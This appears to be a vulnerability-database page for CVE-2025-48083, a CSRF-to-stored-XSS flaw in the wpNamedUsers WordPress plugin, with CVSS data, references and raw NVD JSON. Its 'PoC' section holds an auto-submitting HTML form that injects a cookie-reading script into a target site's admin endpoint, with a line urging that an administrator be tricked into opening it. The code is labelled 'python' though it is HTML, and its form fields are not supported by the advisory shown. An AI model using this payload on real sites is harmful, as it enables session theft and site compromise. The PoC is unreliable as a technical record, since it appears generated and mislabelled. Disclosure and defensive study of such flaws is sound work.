CVE-2025-48083

Description

Cross-Site Request Forgery (CSRF) vulnerability in andriassundskard wpNamedUsers wpnamedusers allows Stored XSS.This issue affects wpNamedUsers: from n/a through <= 0.5.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

wpNamedUsers <= 0.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-48083: wpNamedUsers CSRF to Stored XSS -->
<html>
  <body>
    <h1>CVE-2025-48083 CSRF PoC</h1>
    <p>诱骗管理员点击以下链接以在wpNamedUsers中注入存储型XSS</p>
    
    <form action="http://target-site/wp-admin/admin-post.php" method="POST" id="exploit">
      <input type="hidden" name="action" value="wpnamedusers_save">
      <input type="hidden" name="user_name" value="<script>alert(document.cookie)</script>">
      <input type="hidden" name="user_id" value="1">
      <input type="hidden" name="_wpnonce" value="">
    </form>
    
    <script>
      document.getElementById('exploit').submit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-48083
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-48083
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-48083/
[4] VulDB https://vuldb.com/cve/CVE-2025-48083
[5] https://patchstack.com/database/Wordpress/Plugin/wpnamedusers/vulnerability/wordpress-wpnamedusers-plugin-0-5-cross-site-request-forgery-csrf-to-stored-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-48083", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:15:51.810", "lastModified": "2026-04-27T20:16:06.463", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in andriassundskard wpNamedUsers wpnamedusers allows Stored XSS.This issue affects wpNamedUsers: from n/a through <= 0.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wpnamedusers/vulnerability/wordpress-wpnamedusers-plugin-0-5-cross-site-request-forgery-csrf-to-stored-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}